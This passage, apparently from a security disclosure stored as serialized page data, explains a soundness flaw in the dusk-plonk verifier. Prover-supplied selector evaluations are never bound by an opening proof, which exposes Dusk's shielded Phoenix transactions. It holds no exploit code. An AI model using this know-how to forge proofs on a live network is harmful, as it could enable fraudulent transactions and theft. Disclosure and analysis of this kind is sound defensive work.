],[147117],{"type":21,"tag":153,"props":147118,"children":147120},{"className":147119,"style":95427},[6772],[147121],{"type":21,"tag":153,"props":147122,"children":147123},{},[],{"type":21,"tag":153,"props":147125,"children":147127},{"className":147126},[24431],[147128],{"type":26,"value":350},{"type":26,"value":1670},{"type":21,"tag":78,"props":147131,"children":147133},{"className":147132},[6715,6716],[147134],{"type":21,"tag":153,"props":147135,"children":147137},{"className":147136},[6721],[147138],{"type":21,"tag":153,"props":147139,"children":147141},{"className":147140,"ariaHidden":3294},[6726],[147142],{"type":21,"tag":153,"props":147143,"children":147145},{"className":147144},[6731],[147146,147150,147155,147212],{"type":21,"tag":153,"props":147147,"children":147149},{"className":147148,"style":6841},[6736],[],{"type":21,"tag":153,"props":147151,"children":147153},{"className":147152},[24409],[147154],{"type":26,"value":211},{"type":21,"tag":153,"props":147156,"children":147158},{"className":147157},[6742],[147159,147164],{"type":21,"tag":153,"props":147160,"children":147162},{"className":147161,"style":95830},[6742,24280],[147163],{"type":26,"value":95833},{"type":21,"tag":153,"props":147165,"children":147167},{"className":147166},[6757],[147168],{"type":21,"tag":153,"props":147169,"children":147171},{"className":147170},[6762,24334],[147172,147201],{"type":21,"tag":153,"props":147173,"children":147175},{"className":147174},[6767],[147176,147196],{"type":21,"tag":153,"props":147177,"children":147179},{"className":147178,"style":144899},[6772],[147180],{"type":21,"tag":153,"props":147181,"children":147182},{"style":95877},[147183,147187],{"type":21,"tag":153,"props":147184,"children":147186},{"className":147185,"style":6782},[6781],[],{"type":21,"tag":153,"props":147188,"children":147190},{"className":147189},[6787,6788,6789,6790],[147191],{"type":21,"tag":153,"props":147192,"children":147194},{"className":147193,"style":95344},[6742,24280,6790],[147195],{"type":26,"value":117663},{"type":21,"tag":153,"props":147197,"children":147199},{"className":147198},[24437],[147200],{"type":26,"value":24440},{"type":21,"tag":153,"props":147202,"children":147204},{"className":147203},[6767],[147205],{"type":21,"tag":153,"props":147206,"children":147208},{"className":147207,"style":95427},[6772],[147209],{"type":21,"tag":153,"props":147210,"children":147211},{},[],{"type":21,"tag":153,"props":147213,"children":147215},{"className":147214},[24431],[147216],{"type":26,"value":350},{"type":26,"value":1670},{"type":21,"tag":78,"props":147219,"children":147221},{"className":147220},[6715,6716],[147222],{"type":21,"tag":153,"props":147223,"children":147225},{"className":147224},[6721],[147226],{"type":21,"tag":153,"props":147227,"children":147229},{"className":147228,"ariaHidden":3294},[6726],[147230],{"type":21,"tag":153,"props":147231,"children":147233},{"className":147232},[6731],[147234,147238,147243,147300],{"type":21,"tag":153,"props":147235,"children":147237},{"className":147236,"style":6841},[6736],[],{"type":21,"tag":153,"props":147239,"children":147241},{"className":147240},[24409],[147242],{"type":26,"value":211},{"type":21,"tag":153,"props":147244,"children":147246},{"className":147245},[6742],[147247,147252],{"type":21,"tag":153,"props":147248,"children":147250},{"className":147249,"style":95830},[6742,24280],[147251],{"type":26,"value":146929},{"type":21,"tag":153,"props":147253,"children":147255},{"className":147254},[6757],[147256],{"type":21,"tag":153,"props":147257,"children":147259},{"className":147258},[6762,24334],[147260,147289],{"type":21,"tag":153,"props":147261,"children":147263},{"className":147262},[6767],[147264,147284],{"type":21,"tag":153,"props":147265,"children":147267},{"className":147266,"style":95396},[6772],[147268],{"type":21,"tag":153,"props":147269,"children":147270},{"style":95877},[147271,147275],{"type":21,"tag":153,"props":147272,"children":147274},{"className":147273,"style":6782},[6781],[],{"type":21,"tag":153,"props":147276,"children":147278},{"className":147277},[6787,6788,6789,6790],[147279],{"type":21,"tag":153,"props":147280,"children":147282},{"className":147281},[6742,6790],[147283],{"type":26,"value":4104},{"type":21,"tag":153,"props":147285,"children":147287},{"className":147286},[24437],[147288],{"type":26,"value":24440},{"type":21,"tag":153,"props":147290,"children":147292},{"className":147291},[6767],[147293],{"type":21,"tag":153,"props":147294,"children":147296},{"className":147295,"style":95427},[6772],[147297],{"type":21,"tag":153,"props":147298,"children":147299},{},[],{"type":21,"tag":153,"props":147301,"children":147303},{"className":147302},[24431],[147304],{"type":26,"value":350},{"type":26,"value":147306},"), which are safe because the verifier never trusts a bare field element for these; it uses the commitment itself.",{"type":21,"tag":22,"props":147308,"children":147309},{},[147310],{"type":26,"value":147311},"Any term that falls outside those three categories is attacker-controlled by construction.",{"type":21,"tag":21491,"props":147313,"children":147314},{},[],{"type":21,"tag":66,"props":147316,"children":147318},{"id":147317},"where-dusk-plonk-differs-from-textbook-plonk",[147319],{"type":26,"value":147320},"Where dusk-plonk differs from textbook PLONK",{"type":21,"tag":22,"props":147322,"children":147323},{},[147324,147333,147335,147340,147342,147372],{"type":21,"tag":29,"props":147325,"children":147327},{"href":144199,"rel":147326},[33],[147328],{"type":21,"tag":78,"props":147329,"children":147331},{"className":147330},[],[147332],{"type":26,"value":144203},{"type":26,"value":147334}," is not a literal transcription of the 2019 PLONK paper. It extends the arithmetic gate with a fourth wire ",{"type":21,"tag":78,"props":147336,"children":147338},{"className":147337},[],[147339],{"type":26,"value":72859},{"type":26,"value":147341},", adds custom widgets for range, logic, and elliptic-curve operations, uses shifted evaluations at ",{"type":21,"tag":78,"props":147343,"children":147345},{"className":147344},[6715,6716],[147346],{"type":21,"tag":153,"props":147347,"children":147349},{"className":147348},[6721],[147350],{"type":21,"tag":153,"props":147351,"children":147353},{"className":147352,"ariaHidden":3294},[6726],[147354],{"type":21,"tag":153,"props":147355,"children":147357},{"className":147356},[6731],[147358,147362,147367],{"type":21,"tag":153,"props":147359,"children":147361},{"className":147360,"style":113185},[6736],[],{"type":21,"tag":153,"props":147363,"children":147365},{"className":147364,"style":115901},[6742,24280],[147366],{"type":26,"value":115904},{"type":21,"tag":153,"props":147368,"children":147370},{"className":147369,"style":95830},[6742,24280],[147371],{"type":26,"value":147034},{"type":26,"value":147373},", and heavily batches KZG openings. None of that is exotic by modern PLONK standards, but it does make the verifier harder to reason about than the minimal paper presentation.",{"type":21,"tag":22,"props":147375,"children":147376},{},[147377,147379,147384,147385,147390,147392,147398,147400,147407],{"type":26,"value":147378},"The important part for this bug is the boundary between ",{"type":21,"tag":8055,"props":147380,"children":147381},{},[147382],{"type":26,"value":147383},"public circuit data",{"type":26,"value":52},{"type":21,"tag":8055,"props":147386,"children":147387},{},[147388],{"type":26,"value":147389},"prover claims about that data at the random challenge point",{"type":26,"value":147391},". Parallel implementations avoid this ambiguity by keeping selector polynomials strictly out of the prover's hands. For example, Consensys' gnark (one of the most widely deployed PLONK implementations) never asks the prover for selector evaluations at all. Instead, the verifier incorporates the selector commitments ",{"type":21,"tag":78,"props":147393,"children":147395},{"className":147394},[],[147396],{"type":26,"value":147397},"Ql, Qr, Qm, Qo, Qk",{"type":26,"value":147399}," directly into the ",{"type":21,"tag":29,"props":147401,"children":147404},{"href":147402,"rel":147403},"https://github.com/Consensys/gnark/blob/17b079f1b813d9dafd465202466b09f282b4c5e9/backend/plonk/bls12-381/verify.go#L253-L270",[33],[147405],{"type":26,"value":147406},"linearization multi-scalar multiplication",{"type":26,"value":147408},", ensuring their values are cryptographically bound by construction.",{"type":21,"tag":22,"props":147410,"children":147411},{},[147412,147414,147439],{"type":26,"value":147413},"Dusk's custom widgets were more complex (multiplying selectors with other evaluated terms), so they could not just use a simple linear combination of commitments. Their architecture required evaluating the selectors at ",{"type":21,"tag":78,"props":147415,"children":147417},{"className":147416},[6715,6716],[147418],{"type":21,"tag":153,"props":147419,"children":147421},{"className":147420},[6721],[147422],{"type":21,"tag":153,"props":147423,"children":147425},{"className":147424,"ariaHidden":3294},[6726],[147426],{"type":21,"tag":153,"props":147427,"children":147429},{"className":147428},[6731],[147430,147434],{"type":21,"tag":153,"props":147431,"children":147433},{"className":147432,"style":113185},[6736],[],{"type":21,"tag":153,"props":147435,"children":147437},{"className":147436,"style":115901},[6742,24280],[147438],{"type":26,"value":115904},{"type":26,"value":147440}," and using those scalars. But while they serialized those four selector evaluations into the proof struct, they never actually verified them against the verifier key's commitments through an opening proof.",{"type":21,"tag":22,"props":147442,"children":147443},{},[147444],{"type":26,"value":147445},"The shortest way to see the bug is the graph below: safe values flow through the opening path toward the final pairing check, while the red selector flow enters verifier logic without ever touching an opening proof.",{"type":21,"tag":147447,"props":147448,"children":147449},"dusk-verifier-dependence-graph",{},[],{"type":21,"tag":21491,"props":147451,"children":147452},{},[],{"type":21,"tag":66,"props":147454,"children":147456},{"id":147455},"how-dusk-uses-plonk",[147457],{"type":26,"value":147458},"How Dusk uses PLONK",{"type":21,"tag":22,"props":147460,"children":147461},{},[147462,147468],{"type":21,"tag":29,"props":147463,"children":147465},{"href":144208,"rel":147464},[33],[147466],{"type":26,"value":147467},"Dusk Network",{"type":26,"value":147469}," is a privacy-focused L1 blockchain. Its transaction model has two modes:",{"type":21,"tag":87,"props":147471,"children":147472},{},[147473,147478],{"type":21,"tag":91,"props":147474,"children":147475},{},[147476],{"type":26,"value":147477},"Phoenix (shielded): amounts and participants are hidden using ZK proofs, and every Phoenix transaction carries a PLONK proof that the transaction is valid.",{"type":21,"tag":91,"props":147479,"children":147480},{},[147481],{"type":26,"value":147482},"Moonlight (transparent): standard account-based transactions verified by BLS signatures, with no PLONK involvement.",{"type":21,"tag":22,"props":147484,"children":147485},{},[147486,147488,147499,147501,147512],{"type":26,"value":147487},"At node level, every ",{"type":21,"tag":29,"props":147489,"children":147492},{"href":147490,"rel":147491},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L152-L185",[33],[147493],{"type":21,"tag":78,"props":147494,"children":147496},{"className":147495},[],[147497],{"type":26,"value":147498},"ProtocolTransaction::Phoenix",{"type":26,"value":147500}," goes through ",{"type":21,"tag":29,"props":147502,"children":147505},{"href":147503,"rel":147504},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/verifier.rs#L71-L82",[33],[147506],{"type":21,"tag":78,"props":147507,"children":147509},{"className":147508},[],[147510],{"type":26,"value":147511},"verify_proof_with_version()",{"type":26,"value":147513}," during preverification. If that PLONK proof verifies, the transaction is admitted to the mempool and can later be mined into a block. Moonlight-path transactions instead go through BLS signature verification.",{"type":21,"tag":22,"props":147515,"children":147516},{},[147517,147519,147530,147532,147543,147544,147555,147556,147567,147568,147579],{"type":26,"value":147518},"That same Phoenix proof path covers more than simple shielded transfers. Phoenix-path staking, reward withdrawals, unstaking, and Phoenix-to-Moonlight conversion all build a Phoenix transaction via ",{"type":21,"tag":29,"props":147520,"children":147523},{"href":147521,"rel":147522},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L54-L95",[33],[147524],{"type":21,"tag":78,"props":147525,"children":147527},{"className":147526},[],[147528],{"type":26,"value":147529},"phoenix()",{"type":26,"value":147531},", for example in ",{"type":21,"tag":29,"props":147533,"children":147536},{"href":147534,"rel":147535},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L144-L186",[33],[147537],{"type":21,"tag":78,"props":147538,"children":147540},{"className":147539},[],[147541],{"type":26,"value":147542},"phoenix_stake()",{"type":26,"value":1670},{"type":21,"tag":29,"props":147545,"children":147548},{"href":147546,"rel":147547},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L240-L298",[33],[147549],{"type":21,"tag":78,"props":147550,"children":147552},{"className":147551},[],[147553],{"type":26,"value":147554},"phoenix_stake_reward()",{"type":26,"value":1670},{"type":21,"tag":29,"props":147557,"children":147560},{"href":147558,"rel":147559},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L358-L416",[33],[147561],{"type":21,"tag":78,"props":147562,"children":147564},{"className":147563},[],[147565],{"type":26,"value":147566},"phoenix_unstake()",{"type":26,"value":9217},{"type":21,"tag":29,"props":147569,"children":147572},{"href":147570,"rel":147571},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L481-L539",[33],[147573],{"type":21,"tag":78,"props":147574,"children":147576},{"className":147575},[],[147577],{"type":26,"value":147578},"phoenix_to_moonlight()",{"type":26,"value":147580},". So if Phoenix proof verification is unsound, the entire shielded transaction path is exposed.",{"type":21,"tag":22,"props":147582,"children":147583},{},[147584],{"type":21,"tag":3644,"props":147585,"children":147588},{"alt":147586,"src":147587},"phoenix_moonlight","/posts/dusk-commitment-issues/phoenix_moonlight.svg",[],{"type":21,"tag":22,"props":147590,"children":147591},{},[147592,147594,147600,147602,147609],{"type":26,"value":147593},"The PLONK implementation, ",{"type":21,"tag":29,"props":147595,"children":147598},{"href":147596,"rel":147597},"https://github.com/dusk-network/plonk",[33],[147599],{"type":26,"value":144203},{"type":26,"value":147601},", is a standalone library by the Dusk team. It was among the first PLONK implementations written, with development starting the same year ",{"type":21,"tag":29,"props":147603,"children":147606},{"href":147604,"rel":147605},"https://eprint.iacr.org/archive/2019/953/1566424053.pdf",[33],[147607],{"type":26,"value":147608},"the original paper",{"type":26,"value":147610}," was released.",{"type":21,"tag":22,"props":147612,"children":147613},{},[147614,147616,147622],{"type":26,"value":147615},"The Phoenix transaction PLONK circuit is defined ",{"type":21,"tag":29,"props":147617,"children":147620},{"href":147618,"rel":147619},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L20-L205",[33],[147621],{"type":26,"value":49874},{"type":26,"value":147623},". The circuit enforces the following set of constraints:",{"type":21,"tag":58036,"props":147625,"children":147626},{},[147627,147643],{"type":21,"tag":125295,"props":147628,"children":147629},{},[147630],{"type":21,"tag":125299,"props":147631,"children":147632},{},[147633,147638],{"type":21,"tag":125303,"props":147634,"children":147635},{},[147636],{"type":26,"value":147637},"Circuit check",{"type":21,"tag":125303,"props":147639,"children":147640},{},[147641],{"type":26,"value":147642},"Statement being checked",{"type":21,"tag":125323,"props":147644,"children":147645},{},[147646,147664,147682,147700,147718,147875,148015,148033],{"type":21,"tag":125299,"props":147647,"children":147648},{},[147649,147659],{"type":21,"tag":125330,"props":147650,"children":147651},{},[147652],{"type":21,"tag":29,"props":147653,"children":147656},{"href":147654,"rel":147655},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L106-L126",[33],[147657],{"type":26,"value":147658},"Merkle tree membership",{"type":21,"tag":125330,"props":147660,"children":147661},{},[147662],{"type":26,"value":147663},"Each input note hash is opened against the public Merkle root, so only notes already in the note tree may be spent",{"type":21,"tag":125299,"props":147665,"children":147666},{},[147667,147677],{"type":21,"tag":125330,"props":147668,"children":147669},{},[147670],{"type":21,"tag":29,"props":147671,"children":147674},{"href":147672,"rel":147673},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L70-L79",[33],[147675],{"type":26,"value":147676},"Input-note secret-key authorization",{"type":21,"tag":125330,"props":147678,"children":147679},{},[147680],{"type":26,"value":147681},"The prover knows the secret key controlling each input note",{"type":21,"tag":125299,"props":147683,"children":147684},{},[147685,147695],{"type":21,"tag":125330,"props":147686,"children":147687},{},[147688],{"type":21,"tag":29,"props":147689,"children":147692},{"href":147690,"rel":147691},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L81-L87",[33],[147693],{"type":26,"value":147694},"Nullifier correctness",{"type":21,"tag":125330,"props":147696,"children":147697},{},[147698],{"type":26,"value":147699},"Each nullifier matches the corresponding note key and position",{"type":21,"tag":125299,"props":147701,"children":147702},{},[147703,147713],{"type":21,"tag":125330,"props":147704,"children":147705},{},[147706],{"type":21,"tag":29,"props":147707,"children":147710},{"href":147708,"rel":147709},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L149-L160",[33],[147711],{"type":26,"value":147712},"Output value commitment correctness",{"type":21,"tag":125330,"props":147714,"children":147715},{},[147716],{"type":26,"value":147717},"Each public output commitment matches the secret output value and blinder",{"type":21,"tag":125299,"props":147719,"children":147720},{},[147721,147731],{"type":21,"tag":125330,"props":147722,"children":147723},{},[147724],{"type":21,"tag":29,"props":147725,"children":147728},{"href":147726,"rel":147727},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L167-L178",[33],[147729],{"type":26,"value":147730},"Balance integrity",{"type":21,"tag":125330,"props":147732,"children":147733},{},[147734],{"type":21,"tag":78,"props":147735,"children":147737},{"className":147736},[6715,6716],[147738],{"type":21,"tag":153,"props":147739,"children":147741},{"className":147740},[6721],[147742],{"type":21,"tag":153,"props":147743,"children":147745},{"className":147744,"ariaHidden":3294},[6726],[147746,147786,147826,147858],{"type":21,"tag":153,"props":147747,"children":147749},{"className":147748},[6731],[147750,147754,147759,147763,147773,147777,147782],{"type":21,"tag":153,"props":147751,"children":147753},{"className":147752,"style":6841},[6736],[],{"type":21,"tag":153,"props":147755,"children":147757},{"className":147756,"style":24323},[24316,24321,24322],[147758],{"type":26,"value":111139},{"type":21,"tag":153,"props":147760,"children":147762},{"className":147761,"style":6859},[6820],[],{"type":21,"tag":153,"props":147764,"children":147766},{"className":147765},[6742,26],[147767],{"type":21,"tag":153,"props":147768,"children":147770},{"className":147769},[6742],[147771],{"type":26,"value":147772},"inputs",{"type":21,"tag":153,"props":147774,"children":147776},{"className":147775,"style":6918},[6820],[],{"type":21,"tag":153,"props":147778,"children":147780},{"className":147779},[6923],[147781],{"type":26,"value":2367},{"type":21,"tag":153,"props":147783,"children":147785},{"className":147784,"style":6918},[6820],[],{"type":21,"tag":153,"props":147787,"children":147789},{"className":147788},[6731],[147790,147794,147799,147803,147813,147817,147822],{"type":21,"tag":153,"props":147791,"children":147793},{"className":147792,"style":6841},[6736],[],{"type":21,"tag":153,"props":147795,"children":147797},{"className":147796,"style":24323},[24316,24321,24322],[147798],{"type":26,"value":111139},{"type":21,"tag":153,"props":147800,"children":147802},{"className":147801,"style":6859},[6820],[],{"type":21,"tag":153,"props":147804,"children":147806},{"className":147805},[6742,26],[147807],{"type":21,"tag":153,"props":147808,"children":147810},{"className":147809},[6742],[147811],{"type":26,"value":147812},"outputs",{"type":21,"tag":153,"props":147814,"children":147816},{"className":147815,"style":6821},[6820],[],{"type":21,"tag":153,"props":147818,"children":147820},{"className":147819},[6826],[147821],{"type":26,"value":4099},{"type":21,"tag":153,"props":147823,"children":147825},{"className":147824,"style":6821},[6820],[],{"type":21,"tag":153,"props":147827,"children":147829},{"className":147828},[6731],[147830,147835,147845,147849,147854],{"type":21,"tag":153,"props":147831,"children":147834},{"className":147832,"style":147833},[6736],"height:0.7778em;vertical-align:-0.0833em;",[],{"type":21,"tag":153,"props":147836,"children":147838},{"className":147837},[6742,26],[147839],{"type":21,"tag":153,"props":147840,"children":147842},{"className":147841},[6742],[147843],{"type":26,"value":147844},"fee",{"type":21,"tag":153,"props":147846,"children":147848},{"className":147847,"style":6821},[6820],[],{"type":21,"tag":153,"props":147850,"children":147852},{"className":147851},[6826],[147853],{"type":26,"value":4099},{"type":21,"tag":153,"props":147855,"children":147857},{"className":147856,"style":6821},[6820],[],{"type":21,"tag":153,"props":147859,"children":147861},{"className":147860},[6731],[147862,147866],{"type":21,"tag":153,"props":147863,"children":147865},{"className":147864,"style":117399},[6736],[],{"type":21,"tag":153,"props":147867,"children":147869},{"className":147868},[6742,26],[147870],{"type":21,"tag":153,"props":147871,"children":147873},{"className":147872},[6742],[147874],{"type":26,"value":64256},{"type":21,"tag":125299,"props":147876,"children":147877},{},[147878,147895],{"type":21,"tag":125330,"props":147879,"children":147880},{},[147881,147888,147889],{"type":21,"tag":29,"props":147882,"children":147885},{"href":147883,"rel":147884},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L89-L90",[33],[147886],{"type":26,"value":147887},"Range checks on inputs",{"type":26,"value":52},{"type":21,"tag":29,"props":147890,"children":147893},{"href":147891,"rel":147892},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L141-L142",[33],[147894],{"type":26,"value":147812},{"type":21,"tag":125330,"props":147896,"children":147897},{},[147898,147900],{"type":26,"value":147899},"All note values lie in ",{"type":21,"tag":78,"props":147901,"children":147903},{"className":147902},[6715,6716],[147904],{"type":21,"tag":153,"props":147905,"children":147907},{"className":147906},[6721],[147908],{"type":21,"tag":153,"props":147909,"children":147911},{"className":147910,"ariaHidden":3294},[6726],[147912,147997],{"type":21,"tag":153,"props":147913,"children":147915},{"className":147914},[6731],[147916,147920,147925,147930,147935,147939,147984,147988,147993],{"type":21,"tag":153,"props":147917,"children":147919},{"className":147918,"style":117656},[6736],[],{"type":21,"tag":153,"props":147921,"children":147923},{"className":147922},[24409],[147924],{"type":26,"value":211},{"type":21,"tag":153,"props":147926,"children":147928},{"className":147927},[6742],[147929],{"type":26,"value":2996},{"type":21,"tag":153,"props":147931,"children":147933},{"className":147932},[6852],[147934],{"type":26,"value":6855},{"type":21,"tag":153,"props":147936,"children":147938},{"className":147937,"style":6859},[6820],[],{"type":21,"tag":153,"props":147940,"children":147942},{"className":147941},[6742],[147943,147948],{"type":21,"tag":153,"props":147944,"children":147946},{"className":147945},[6742],[147947],{"type":26,"value":5873},{"type":21,"tag":153,"props":147949,"children":147951},{"className":147950},[6757],[147952],{"type":21,"tag":153,"props":147953,"children":147955},{"className":147954},[6762],[147956],{"type":21,"tag":153,"props":147957,"children":147959},{"className":147958},[6767],[147960],{"type":21,"tag":153,"props":147961,"children":147963},{"className":147962,"style":6737},[6772],[147964],{"type":21,"tag":153,"props":147965,"children":147966},{"style":6776},[147967,147971],{"type":21,"tag":153,"props":147968,"children":147970},{"className":147969,"style":6782},[6781],[],{"type":21,"tag":153,"props":147972,"children":147974},{"className":147973},[6787,6788,6789,6790],[147975],{"type":21,"tag":153,"props":147976,"children":147978},{"className":147977},[6742,6790],[147979],{"type":21,"tag":153,"props":147980,"children":147982},{"className":147981},[6742,6790],[147983],{"type":26,"value":32117},{"type":21,"tag":153,"props":147985,"children":147987},{"className":147986,"style":6821},[6820],[],{"type":21,"tag":153,"props":147989,"children":147991},{"className":147990},[6826],[147992],{"type":26,"value":6801},{"type":21,"tag":153,"props":147994,"children":147996},{"className":147995,"style":6821},[6820],[],{"type":21,"tag":153,"props":147998,"children":148000},{"className":147999},[6731],[148001,148005,148010],{"type":21,"tag":153,"props":148002,"children":148004},{"className":148003,"style":6841},[6736],[],{"type":21,"tag":153,"props":148006,"children":148008},{"className":148007},[6742],[148009],{"type":26,"value":3033},{"type":21,"tag":153,"props":148011,"children":148013},{"className":148012},[24431],[148014],{"type":26,"value":350},{"type":21,"tag":125299,"props":148016,"children":148017},{},[148018,148028],{"type":21,"tag":125330,"props":148019,"children":148020},{},[148021],{"type":21,"tag":29,"props":148022,"children":148025},{"href":148023,"rel":148024},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L28-L51",[33],[148026],{"type":26,"value":148027},"Sender-authorship signatures",{"type":21,"tag":125330,"props":148029,"children":148030},{},[148031],{"type":26,"value":148032},"The transaction payload is signed by the sender's two signing key components",{"type":21,"tag":125299,"props":148034,"children":148035},{},[148036,148046],{"type":21,"tag":125330,"props":148037,"children":148038},{},[148039],{"type":21,"tag":29,"props":148040,"children":148043},{"href":148041,"rel":148042},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L63-L121",[33],[148044],{"type":26,"value":148045},"Sender encryption correctness",{"type":21,"tag":125330,"props":148047,"children":148048},{},[148049],{"type":26,"value":148050},"The sender data attached to each output note is a correct ElGamal encryption under the recipient note key",{"type":21,"tag":22,"props":148052,"children":148053},{},[148054,148056,148062,148064,148073],{"type":26,"value":148055},"Rusk does not consume these claims one by one. It consumes a single valid/invalid proof verdict over ",{"type":21,"tag":78,"props":148057,"children":148059},{"className":148058},[],[148060],{"type":26,"value":148061},"tx.public_inputs()",{"type":26,"value":148063}," via ",{"type":21,"tag":29,"props":148065,"children":148067},{"href":147503,"rel":148066},[33],[148068],{"type":21,"tag":78,"props":148069,"children":148071},{"className":148070},[],[148072],{"type":26,"value":147511},{"type":26,"value":355},{"type":21,"tag":22,"props":148075,"children":148076},{},[148077],{"type":26,"value":148078},"A soundness break in PLONK voids all of these constraints simultaneously, because forged selector evaluations make the entire circuit unconstrained rather than targeting any single check.",{"type":21,"tag":21491,"props":148080,"children":148081},{},[],{"type":21,"tag":66,"props":148083,"children":148084},{"id":92598},[148085],{"type":26,"value":148086},"The bug",{"type":21,"tag":22,"props":148088,"children":148089},{},[148090,148092,148099,148101,148112],{"type":26,"value":148091},"In the ",{"type":21,"tag":29,"props":148093,"children":148096},{"href":148094,"rel":148095},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L400",[33],[148097],{"type":26,"value":148098},"PLONK verification",{"type":26,"value":148100},", the verifier batches polynomial evaluations into a single KZG opening proof check. The evaluations included in this batch (committed via ",{"type":21,"tag":29,"props":148102,"children":148105},{"href":148103,"rel":148104},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L373",[33],[148106],{"type":21,"tag":78,"props":148107,"children":148109},{"className":148108},[],[148110],{"type":26,"value":148111},"E_evals",{"type":26,"value":148113},") are:",{"type":21,"tag":87,"props":148115,"children":148116},{},[148117,148149,148174,148199],{"type":21,"tag":91,"props":148118,"children":148119},{},[148120,148126,148127,148133,148134,148140,148141,148147],{"type":21,"tag":78,"props":148121,"children":148123},{"className":148122},[],[148124],{"type":26,"value":148125},"a_eval",{"type":26,"value":1670},{"type":21,"tag":78,"props":148128,"children":148130},{"className":148129},[],[148131],{"type":26,"value":148132},"b_eval",{"type":26,"value":1670},{"type":21,"tag":78,"props":148135,"children":148137},{"className":148136},[],[148138],{"type":26,"value":148139},"c_eval",{"type":26,"value":1670},{"type":21,"tag":78,"props":148142,"children":148144},{"className":148143},[],[148145],{"type":26,"value":148146},"d_eval",{"type":26,"value":148148}," (witness)",{"type":21,"tag":91,"props":148150,"children":148151},{},[148152,148158,148159,148165,148166,148172],{"type":21,"tag":78,"props":148153,"children":148155},{"className":148154},[],[148156],{"type":26,"value":148157},"s_sigma_1_eval",{"type":26,"value":1670},{"type":21,"tag":78,"props":148160,"children":148162},{"className":148161},[],[148163],{"type":26,"value":148164},"s_sigma_2_eval",{"type":26,"value":1670},{"type":21,"tag":78,"props":148167,"children":148169},{"className":148168},[],[148170],{"type":26,"value":148171},"s_sigma_3_eval",{"type":26,"value":148173}," (permutation)",{"type":21,"tag":91,"props":148175,"children":148176},{},[148177,148183,148184,148190,148191,148197],{"type":21,"tag":78,"props":148178,"children":148180},{"className":148179},[],[148181],{"type":26,"value":148182},"a_w_eval",{"type":26,"value":1670},{"type":21,"tag":78,"props":148185,"children":148187},{"className":148186},[],[148188],{"type":26,"value":148189},"b_w_eval",{"type":26,"value":1670},{"type":21,"tag":78,"props":148192,"children":148194},{"className":148193},[],[148195],{"type":26,"value":148196},"d_w_eval",{"type":26,"value":148198}," (shifted witness)",{"type":21,"tag":91,"props":148200,"children":148201},{},[148202,148208],{"type":21,"tag":78,"props":148203,"children":148205},{"className":148204},[],[148206],{"type":26,"value":148207},"z_eval",{"type":26,"value":148209}," (permutation accumulator)",{"type":21,"tag":22,"props":148211,"children":148212},{},[148213,148215,148219],{"type":26,"value":148214},"But the following selector evaluations were ",{"type":21,"tag":5302,"props":148216,"children":148217},{},[148218],{"type":26,"value":21186},{"type":26,"value":148220}," included:",{"type":21,"tag":87,"props":148222,"children":148223},{},[148224,148235,148246,148257],{"type":21,"tag":91,"props":148225,"children":148226},{},[148227,148233],{"type":21,"tag":78,"props":148228,"children":148230},{"className":148229},[],[148231],{"type":26,"value":148232},"q_arith_eval",{"type":26,"value":148234}," (arithmetic selector)",{"type":21,"tag":91,"props":148236,"children":148237},{},[148238,148244],{"type":21,"tag":78,"props":148239,"children":148241},{"className":148240},[],[148242],{"type":26,"value":148243},"q_c_eval",{"type":26,"value":148245}," (constant selector)",{"type":21,"tag":91,"props":148247,"children":148248},{},[148249,148255],{"type":21,"tag":78,"props":148250,"children":148252},{"className":148251},[],[148253],{"type":26,"value":148254},"q_l_eval",{"type":26,"value":148256}," (left selector)",{"type":21,"tag":91,"props":148258,"children":148259},{},[148260,148266],{"type":21,"tag":78,"props":148261,"children":148263},{"className":148262},[],[148264],{"type":26,"value":148265},"q_r_eval",{"type":26,"value":148267}," (right selector)",{"type":21,"tag":22,"props":148269,"children":148270},{},[148271,148273,148280,148281,148288,148289,148296,148297,148304],{"type":26,"value":148272},"The prover places four selector evaluations in the proof struct. The verifier absorbs them into the transcript, and the widget verifier code uses them directly in the linearization check (",{"type":21,"tag":29,"props":148274,"children":148277},{"href":148275,"rel":148276},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/linearization_poly.rs#L33-L83",[33],[148278],{"type":26,"value":148279},"proof 